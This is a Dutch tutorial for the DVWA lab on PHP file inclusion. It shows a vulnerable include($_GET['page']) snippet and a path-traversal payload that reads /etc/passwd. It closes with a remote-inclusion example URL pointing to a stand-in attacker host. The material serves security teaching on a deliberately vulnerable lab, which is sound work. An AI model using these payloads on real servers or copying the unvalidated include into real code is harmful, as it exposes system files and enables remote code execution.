File Inclusion â Low
Met File Inclusion kun je bestanden van de webserver opvragen (LFI) of zelfs scripts van een externe server inladen (RFI).
1. Predict (Voorspel)â
De webapplicatie heeft de volgende PHP-code om verschillende pagina's weer te geven:
$file = $_GET['page'];
include($file);
Vraag: Wat gebeurt er als de gebruiker in de URL de parameter ?page=../../../../../../etc/passwd invult?
Antwoord
De functie include() laadt letterlijk de inhoud van het opgegeven bestand en toont het op het scherm. Door ../ te gebruiken (wat "ÊÊn map omhoog" betekent in Linux) navigeer je stapsgewijs naar de root van de harde schijf van de webserver. Daarna ga je de map /etc/ in en open je het bestand passwd. De server toont daardoor de complete lijst met alle geregistreerde Linux-gebruikers â dit heet Local File Inclusion (LFI).
2. Run (Uitvoeren)â
Start het lab en bekijk de pagina.
Je ziet dat de URL de parameter ?page=include.php bevat. Verander de waarde naar file1.php, file2.php en file3.php en observeer wat de applicatie toont.
3. Investigate (Onderzoeken)â
Verander de URL-parameter nu naar iets dat niet bestaat: ?page=nep.php.
Vraag: Wat zie je op het scherm? Wat onthult de foutmelding over hoe de server met de invoer omgaat?
Antwoord
De server toont een PHP-foutmelding zoals Warning: include(nep.php): failed to open stream. Dit onthult drie dingen:
- De invoer wordt ongefilterd direct aan
include()doorgegeven. - De foutmelding lekt het volledige serverpad (bijv.
/var/www/html/DVWA/...) â informatie die een hacker kan gebruiken. - Het pad is relatief aan de locatie van het huidige script â vandaar dat
../omhoog navigeert.
4. Modify & Make (Aanpassen & Maken)â
Je weet nu dat invoer ongefilterd in include() belandt. Jouw doel: zorg dat de server het bestand /etc/passwd toont.
Tip
Vervang de paginanaam in de URL door een reeks ../ paden. Elke ../ gaat ÊÊn map omhoog. Je moet hoog genoeg klimmen om vanuit de webroot naar /etc/ te kunnen navigeren.
Antwoord
Vul als waarde in voor de page-parameter:
../../../../../../../../etc/passwd
Je zult zien dat de opmaak van de pagina vol staat met systeemtekst, beginnend met root:x:0:0:...
5. â Wat moest je zien?â
:::tip Controle
- De pagina toont de inhoud van
/etc/passwdâ een lijst van Linux-gebruikers op de server. - De tekst begint met iets als
root:x:0:0:root:/root:/bin/bash. - Er is geen foutmelding â de include is geslaagd.
Zie je een foutmelding in plaats van gebruikers? Voeg meer ../ toe â zolang je maar hoog genoeg navigeert, bereik je altijd de root.
:::
6. Er gaat iets mis...â
Wat als je in plaats van een lokaal bestand een URL van een andere website probeert in te vullen? Bijvoorbeeld: ?page=http://hacker.nl/kwaadaardig_script.php. Als dit lukt, noemen we het Remote File Inclusion (RFI) â de server downloadt jouw script en voert het uit als eigen code! Als het niet lukt, heeft de beheerder allow_url_include = Off ingesteld in php.ini. Dat is tegenwoordig de standaard. LFI werkt echter nagenoeg altijd als er geen input-validatie is.